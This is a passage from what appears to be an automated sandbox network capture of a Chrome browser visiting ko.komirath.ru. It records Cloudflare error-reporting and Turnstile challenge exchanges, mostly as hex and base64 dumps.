2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 46 6c 48 57 41 65 48 53 6c 64 61 64 36 67 34 79 45 62 49 4b 44 6c 71 70 7a 74 34 36 63 65 47 2b 53 6d 35 43 4c 6d 5a 2b 37 76 35 62 48 74 71 4b 37 6e 4a 79 2b 6e 70 79 47 71 4a 71 62 6f 61 6a 4e 79 38 53 70 6c 38 33 53 7a 35 36 79 31 72 33 69 73 39 6e 59 75 63 62 62 78 74 6a 56 36 4f 4b 33 32 4f 4c 62 34 4e 4c 56 33 63 36 33 34 4c 62 4c 79 38 2f 49 2f 64 2f 58 76 76 33 5a 2b 39 48 50 42 74 45 43 31 77 4d 44 37 73 6e 33 43 38 4d 4c 44 50 33 54 2f 75 34 47 2b 42 63 57 47 66 41 4b 37 76 58 74 33 78 44 76 42 67 44 65 4a 75 58 38 49 41 77 4c 4b 77 4d 75 4d 68 7a 77 36 69 51 6c 4d 69 6b 75 4a 69 30 78 47 78 6b 59 4d 44 59 38 39 54 77 54 45 55 42 44 4a 45 67 70 53 78 6f 64 48 43 6b 7a 51 45 51 65 50 79 56 45 57 42 6f 33 57 42 55 51 4c 30 73 76 56 47 45 74 4c 6a Data Ascii: FlHWAeHSldad6g4yEbIKDlqpzt46ceG+Sm5CLmZ+7v5bHtqK7nJy+npyGqJqboajNy8Spl83Sz56y1r3is9nYucbbxtjV6OK32OLb4NLV3c634LbLy8/I/d/Xvv3Z+9HPBtEC1wMD7sn3C8MLDP3T/u4G+BcWGfAK7vXt3xDvBgDeJuX8IAwLKwMuMhzw6iQlMikuJi0xGxkYMDY89TwTEUBDJEgpSxodHCkzQEQePyVEWBo3WBUQL0svVGEtLj
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 70 6f 5a 6d 6d 6d 74 38 62 4b 56 78 68 49 6c 33 6a 35 57 75 6a 5a 4f 71 71 62 4f 4f 6b 72 61 37 68 5a 5a 2f 78 72 2b 2b 71 49 75 6c 71 4b 4b 2f 75 70 44 47 71 63 71 33 32 4e 48 54 75 36 32 56 75 4a 6a 61 73 4a 4f 2b 77 36 7a 43 77 38 44 61 79 73 50 4a 75 62 33 76 7a 75 4f 70 32 73 2f 6e 34 64 62 6a 37 64 54 54 38 2b 54 79 31 50 72 71 32 64 6e 51 32 73 2f 59 77 51 50 66 39 77 6a 4c 32 65 54 6a 32 67 34 53 7a 67 67 46 35 2b 34 45 45 75 67 4c 2f 50 66 79 46 42 67 61 38 68 55 62 4a 50 55 41 35 42 4c 34 34 68 6f 4d 35 4f 55 71 4a 77 67 64 42 42 49 73 41 50 4d 70 2b 51 6b 76 44 78 34 57 51 41 49 75 4e 6a 31 47 4a 68 45 30 4b 30 55 31 4c 6b 4d 4f 4a 6c 45 69 42 53 6b 4d 48 6b 30 76 53 68 56 56 4c 6b 31 50 4e 7a 41 75 51 54 42 4f 57 54 39 6f 57 69 4a 5a 5a 55 30 Data Ascii: poZmmmt8bKVxhIl3j5WujZOqqbOOkra7hZZ/xr++qIulqKK/upDGqcq32NHTu62VuJjasJO+w6zCw8DaysPJub3vzuOp2s/n4dbj7dTT8+Ty1Prq2dnQ2s/YwQPf9wjL2eTj2g4SzggF5+4EEugL/PfyFBga8hUbJPUA5BL44hoM5OUqJwgdBBIsAPMp+QkvDx4WQAIuNj1GJhE0K0U1LkMOJlEiBSkMHk0vShVVLk1PNzAuQTBOWT9oWiJZZU0
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 5a 32 47 73 58 5a 75 6b 4b 71 44 6a 4c 79 79 75 58 69 36 64 4a 47 77 77 5a 4e 2f 73 34 65 6c 68 61 43 48 70 36 57 51 71 72 50 47 6b 4b 76 51 72 38 53 34 74 4e 4c 4f 6d 35 69 75 7a 72 6e 4d 7a 74 62 61 7a 72 43 79 76 64 58 5a 79 4f 79 74 32 2b 50 53 75 76 48 4e 79 66 50 79 78 4e 54 70 37 72 4c 51 38 72 37 51 37 76 76 66 32 37 76 76 30 63 44 35 36 2b 6a 5a 34 2b 76 73 44 2b 7a 64 7a 38 37 4d 45 2b 38 57 30 74 6f 45 33 4f 55 4e 43 64 30 50 48 65 48 39 47 65 45 6c 45 52 72 63 49 69 54 66 36 69 67 44 48 2f 77 77 38 69 49 70 4c 6a 45 49 37 44 49 36 4c 41 73 4a 51 66 73 44 47 67 39 45 42 41 67 49 4a 42 77 45 4b 42 67 69 49 68 77 4e 4a 45 73 51 44 7a 39 42 52 7a 4d 33 4f 54 70 52 50 6a 30 75 58 68 56 57 4c 57 64 52 58 68 39 56 56 6d 4e 45 59 32 6f 69 53 48 42 79 Data Ascii: Z2GsXZukKqDjLyyuXi6dJGwwZN/s4elhaCHp6WQqrPGkKvQr8S4tNLOm5iuzrnMztbazrCyvdXZyOyt2+PSuvHNyfPyxNTp7rLQ8r7Q7vvf27vv0cD56+jZ4+vsD+zdz87ME+8W0toE3OUNCd0PHeH9GeElERrcIiTf6igDH/ww8iIpLjEI7DI6LAsJQfsDGg9EBAgIJBwEKBgiIhwNJEsQDz9BRzM3OTpRPj0uXhVWLWdRXh9VVmNEY2oiSHBy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49731	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:30 UTC	543	OUT	OPTIONS /report/v4?s=LAqZAjRx%2Ft00S%2BhvUqK47ennzMZV3UiPaUC2C%2B4zrFk0QllE6XUhUM0d1qkKcJkLBR0urO%2BuUGFO9PGerk%2FI59FM2Ljsske%2FnzaJ9jWQscSmue%2FfyKGq6Py1eRDS%2FQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ko.komirath.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:30 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 08 Jan 2025 16:18:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49733	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:31 UTC	486	OUT	POST /report/v4?s=LAqZAjRx%2Ft00S%2BhvUqK47ennzMZV3UiPaUC2C%2B4zrFk0QllE6XUhUM0d1qkKcJkLBR0urO%2BuUGFO9PGerk%2FI59FM2Ljsske%2FnzaJ9jWQscSmue%2FfyKGq6Py1eRDS%2FQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 426 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:31 UTC	426	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6b 6f 2e 6b 6f 6d 69 72 61 74 68 2e 72 75 2f 31 6a 56 56 53 68 47 49 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c Data Ascii: [{"age":0,"body":{"elapsed_time":113,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://ko.komirath.ru/1jVVShGI/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error",
2025-01-08 16:18:31 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 08 Jan 2025 16:18:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49734	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:31 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:32 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 08 Jan 2025 16:18:32 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 3kJiqKM+kzpzbqq74QP4J8RO6rBeOUVShqE=$B3Q3qs9L7HVBZgTt Server: cloudflare CF-RAY: 8fed81064e6e43bc-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:32 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49735	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:32 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8fed80f51d3e0f6d/1736353110853/VkuISg1nVdIHrU2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:32 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:32 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8fed81084b5643aa-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:32 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 17 00 00 00 62 08 02 00 00 00 34 a7 df 85 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRb4IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49738	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:32 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8fed80f51d3e0f6d/1736353110853/VkuISg1nVdIHrU2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:33 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:33 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8fed810d08ad4289-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:33 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 17 00 00 00 62 08 02 00 00 00 34 a7 df 85 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRb4IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49739	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:33 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8fed80f51d3e0f6d/1736353110853/fd70a9f8387cee2195dec1e65241da506a11cc999e612504f6ce0b93e0d569c5/Gfi2UDErHN3VTl7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:33 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 08 Jan 2025 16:18:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-08 16:18:33 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 5f 58 43 70 2d 44 68 38 37 69 47 56 33 73 48 6d 55 6b 48 61 55 47 6f 52 7a 4a 6d 65 59 53 55 45 39 73 34 4c 6b 2d 44 56 61 63 55 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g_XCp-Dh87iGV3sHmUkHaUGoRzJmeYSUE9s4Lk-DVacUAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-08 16:18:33 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49741	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:34 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33004 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:34 UTC	16384	OUT	Data Raw: 76 5f 38 66 65 64 38 30 66 35 31 64 33 65 30 66 36 64 3d 53 38 24 51 5a 78 6e 74 42 78 42 69 24 69 52 6e 47 43 24 51 54 38 6e 4c 4b 74 6e 4f 35 4b 5a 51 6e 38 78 32 4b 24 51 43 4c 4b 6d 34 4b 45 51 52 38 69 6d 4b 61 59 4b 69 36 4c 69 78 4b 2d 51 36 78 77 42 36 4b 72 4a 78 46 55 35 59 78 36 4b 58 4b 52 42 6e 6e 4b 4b 48 36 36 75 48 51 75 4f 4e 4b 76 36 69 67 4b 53 59 6c 51 4b 72 24 4c 2d 74 4b 6c 51 69 66 38 61 57 34 4b 69 52 37 72 36 69 43 50 43 65 43 43 78 67 4b 67 59 4b 4b 67 24 51 69 6a 4b 74 4a 4b 7a 4b 4b 6a 68 30 51 78 4b 66 36 4b 64 25 32 62 45 42 41 74 52 5a 42 32 73 42 70 30 59 78 4a 66 24 45 2d 4b 4e 53 4c 65 4f 55 4d 4b 4b 50 68 4b 4b 74 62 24 68 75 6d 62 36 36 75 76 6c 75 74 5a 64 62 78 38 42 6e 53 78 47 47 70 35 49 47 4e 57 58 44 78 66 61 78 Data Ascii: v_8fed80f51d3e0f6d=S8$QZxntBxBi$iRnGC$QT8nLKtnO5KZQn8x2K$QCLKm4KEQR8imKaYKi6LixK-Q6xwB6KrJxFU5Yx6KXKRBnnKKH66uHQuONKv6igKSYlQKr$L-tKlQif8aW4KiR7r6iCPCeCCxgKgYKKg$QijKtJKzKKjh0QxKf6Kd%2bEBAtRZB2sBp0YxJf$E-KNSLeOUMKKPhKKtb$humb66uvlutZdbx8BnSxGGp5IGNWXDxfax
2025-01-08 16:18:34 UTC	16384	OUT	Data Raw: 51 58 51 61 4b 75 2b 43 75 6e 4d 6c 37 66 50 59 75 36 37 4d 38 4d 31 51 6e 62 24 6a 4b 24 51 4b 42 4b 44 51 43 51 78 49 6d 6c 4b 73 54 59 4d 78 53 4b 75 75 6e 33 4b 63 64 45 5a 36 31 4b 63 4b 24 24 78 59 4b 46 50 53 24 69 44 4b 58 51 78 42 4b 74 4b 2d 51 43 42 6e 2d 4b 61 4b 4b 38 78 64 73 45 51 53 4c 78 67 4b 32 4b 30 6f 6e 6d 4b 62 4b 37 4b 6e 42 6e 53 42 69 2d 6e 62 4a 45 4a 75 75 4b 68 51 79 51 43 35 33 48 51 43 4b 4b 51 69 58 4b 52 51 75 36 6e 64 41 67 38 71 38 78 41 4a 65 36 4b 61 78 65 51 7a 63 42 50 6e 63 41 78 4c 24 4b 37 24 4b 51 51 79 72 4b 30 4b 34 4b 54 51 78 64 51 67 4b 6e 6c 6e 66 4b 6c 51 71 6a 78 74 4b 51 6d 24 74 6e 4a 6e 6f 4b 4b 24 69 73 4b 6e 4b 24 4c 4b 64 67 4e 75 68 51 4b 37 4b 77 51 6e 4c 4b 30 4b 4c 54 68 31 6e 73 4b 6c 49 71 24 Data Ascii: QXQaKu+CunMl7fPYu67M8M1Qnb$jK$QKBKDQCQxImlKsTYMxSKuun3KcdEZ61KcK$$xYKFPS$iDKXQxBKtK-QCBn-KaKK8xdsEQSLxgK2K0onmKbK7KnBnSBi-nbJEJuuKhQyQC53HQCKKQiXKRQu6ndAg8q8xAJe6KaxeQzcBPncAxL$K7$KQQyrK0K4KTQxdQgKnlnfKlQqjxtKQm$tnJnoKK$isKnK$LKdgNuhQK7KwQnLK0KLTh1nsKlIq$
2025-01-08 16:18:34 UTC	236	OUT	Data Raw: 64 51 57 56 6f 65 39 31 4b 32 51 73 35 65 36 49 51 4d 76 2b 4d 54 53 4e 51 31 52 69 50 55 67 56 32 38 4b 74 4b 7a 2d 4c 4c 74 66 4b 4d 66 7a 63 2d 32 5a 24 50 77 67 43 54 6e 4e 6d 33 4f 47 6d 51 2d 4a 54 70 43 51 72 58 4b 68 4e 64 73 4b 46 4b 53 41 77 68 36 79 35 46 38 46 64 76 41 67 5a 32 70 6c 4b 6c 52 78 7a 45 4a 33 4f 24 70 65 46 35 48 43 30 2b 36 78 76 6e 2b 34 65 79 33 4d 44 24 2b 72 24 78 7a 4b 71 2d 4e 54 38 44 4b 6e 4b 69 67 4d 73 4b 32 51 24 65 2d 39 30 62 44 53 51 4b 35 5a 77 54 35 61 45 41 24 4f 4b 4e 36 45 24 53 6e 43 62 79 33 62 41 30 4c 71 39 4b 39 24 42 33 68 44 4c 53 74 2b 35 4a 53 4b 35 56 47 52 54 42 72 35 56 2d 4b 71 56 74 34 6d 6c 7a 53 32 6e 4a 51 78 24 37 6e 35 56 41 36 4b 4b Data Ascii: dQWVoe91K2Qs5e6IQMv+MTSNQ1RiPUgV28KtKz-LLtfKMfzc-2Z$PwgCTnNm3OGmQ-JTpCQrXKhNdsKFKSAwh6y5F8FdvAgZ2plKlRxzEJ3O$peF5HC0+6xvn+4ey3MD$+r$xzKq-NT8DKnKigMsK2Q$e-90bDSQK5ZwT5aEA$OKN6E$SnCby3bA0Lq9K9$B3hDLSt+5JSK5VGRTBr5V-KqVt4mlzS2nJQx$7n5VA6KK
2025-01-08 16:18:34 UTC	318	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:34 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26336 Connection: close cf-chl-gen: lmnM/zcvQfKwoJdjFeoXt6e68wnyCQsWpaHuDDkXvAgPvuV/kx5lw7Fx0Y8PUuy1XIo=$I748vz7Z/YL8GQ0C Server: cloudflare CF-RAY: 8fed8115fa257cf4-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:34 UTC	1051	IN	Data Raw: 6e 70 43 32 6f 63 53 45 6e 4d 61 31 71 34 2f 49 75 38 48 42 6f 6f 75 33 78 35 48 5a 31 4a 53 56 33 64 65 56 71 39 7a 63 7a 4d 4f 65 35 38 4c 53 33 38 62 59 34 4b 50 73 79 39 71 2f 79 38 54 71 39 72 4f 76 79 63 66 35 32 2b 54 49 78 39 66 71 7a 74 72 2b 39 67 63 41 31 4f 6e 53 34 67 58 43 33 4e 30 42 41 4f 44 78 2b 38 6f 4d 30 2b 62 6a 79 2b 66 30 47 77 77 4c 43 2f 6e 32 2f 41 45 4e 41 76 54 2b 2b 43 62 70 34 68 37 37 4c 42 34 4f 2f 54 45 43 4b 69 55 46 43 68 4c 34 50 42 77 72 45 66 58 2b 4f 78 51 4e 44 44 30 61 45 66 30 70 53 7a 51 45 4b 78 74 4f 4f 69 55 49 50 6a 39 44 45 53 59 70 57 45 31 49 50 54 59 30 47 7a 77 73 56 42 34 68 51 30 52 54 52 30 4a 68 58 54 52 4b 50 54 67 6e 53 7a 31 79 64 57 64 45 51 47 4a 43 59 6e 70 4b 4e 31 42 34 64 56 45 35 54 46 4e Data Ascii: npC2ocSEnMa1q4/Iu8HBoou3x5HZ1JSV3deVq9zczMOe58LS38bY4KPsy9q/y8Tq9rOvycf52+TIx9fqztr+9gcA1OnS4gXC3N0BAODx+8oM0+bjy+f0GwwLC/n2/AENAvT++Cbp4h77LB4O/TECKiUFChL4PBwrEfX+OxQNDD0aEf0pSzQEKxtOOiUIPj9DESYpWE1IPTY0GzwsVB4hQ0RTR0JhXTRKPTgnSz1ydWdEQGJCYnpKN1B4dVE5TFN
2025-01-08 16:18:34 UTC	1369	IN	Data Raw: 6c 70 64 6a 48 71 63 76 57 32 39 2b 67 73 36 48 55 75 4e 33 6b 75 4d 7a 57 6f 61 4c 5a 32 36 75 79 37 73 6e 6e 73 74 4c 37 31 4e 4c 79 37 4c 6a 4d 37 4e 57 31 33 76 7a 35 76 2f 48 35 79 4d 6f 42 76 77 7a 4b 34 4f 63 4c 37 4f 58 77 39 77 4d 42 44 78 4c 6b 42 39 77 4d 48 51 41 6a 36 75 34 56 47 79 55 44 2f 50 55 71 41 51 51 6c 35 76 72 69 49 41 38 47 43 43 67 47 4d 53 6b 4f 42 42 4d 76 47 7a 6f 51 4d 45 49 61 4a 51 39 43 4a 7a 63 70 4d 67 6f 6f 4c 68 34 6d 4f 52 42 47 52 6a 38 77 52 6a 55 79 52 30 31 4f 56 55 70 62 50 69 67 75 55 55 49 79 4f 32 4a 49 48 31 4e 63 54 44 59 6a 58 47 52 43 54 6d 78 4f 52 7a 56 6b 4c 57 35 48 5a 56 4a 33 5a 32 35 58 53 6d 4a 76 62 33 6c 30 64 46 65 46 59 34 42 69 54 48 57 50 6b 45 64 6c 59 55 74 47 6b 33 36 58 6a 70 56 51 69 32 Data Ascii: lpdjHqcvW29+gs6HUuN3kuMzWoaLZ26uy7snnstL71NLy7LjM7NW13vz5v/H5yMoBvwzK4OcL7OXw9wMBDxLkB9wMHQAj6u4VGyUD/PUqAQQl5vriIA8GCCgGMSkOBBMvGzoQMEIaJQ9CJzcpMgooLh4mORBGRj8wRjUyR01OVUpbPiguUUIyO2JIH1NcTDYjXGRCTmxORzVkLW5HZVJ3Z25XSmJvb3l0dFeFY4BiTHWPkEdlYUtGk36XjpVQi2
2025-01-08 16:18:34 UTC	1369	IN	Data Raw: 30 5a 79 69 33 39 6e 51 35 61 4f 6c 34 64 69 71 74 2b 44 45 71 75 69 75 78 71 7a 34 7a 74 58 36 37 75 62 63 31 37 48 74 33 39 54 65 38 64 54 63 31 76 48 2b 41 50 59 4b 39 74 72 34 44 4f 76 72 42 67 37 76 42 52 45 47 31 75 54 73 45 65 76 61 32 77 33 59 46 2f 58 67 4a 66 6a 2b 48 41 6a 79 41 51 73 4b 42 41 63 49 43 7a 45 41 4e 42 55 4e 38 7a 6f 45 43 6a 66 35 46 52 38 5a 4c 78 4d 79 45 67 45 46 41 41 4d 6c 4f 42 73 5a 46 52 5a 45 50 67 63 45 4d 45 5a 43 49 42 38 72 4c 54 59 31 53 6b 59 59 57 68 4a 43 51 52 73 6a 57 6a 56 6a 53 54 73 31 4e 47 56 71 4b 55 78 75 50 69 6c 41 55 46 4a 43 59 6c 52 4d 5a 48 78 59 53 6e 6c 56 62 46 39 72 55 46 38 2f 68 59 68 69 56 55 56 73 61 56 78 71 58 57 53 43 61 6d 4e 47 54 6e 42 67 69 57 5a 59 56 6e 65 4e 55 46 2b 4f 6a 33 4b Data Ascii: 0Zyi39nQ5aOl4diqt+DEquiuxqz4ztX67ubc17Ht39Te8dTc1vH+APYK9tr4DOvrBg7vBREG1uTsEeva2w3YF/XgJfj+HAjyAQsKBAcICzEANBUN8zoECjf5FR8ZLxMyEgEFAAMlOBsZFRZEPgcEMEZCIB8rLTY1SkYYWhJCQRsjWjVjSTs1NGVqKUxuPilAUFJCYlRMZHxYSnlVbF9rUF8/hYhiVUVsaVxqXWSCamNGTnBgiWZYVneNUF+Oj3K
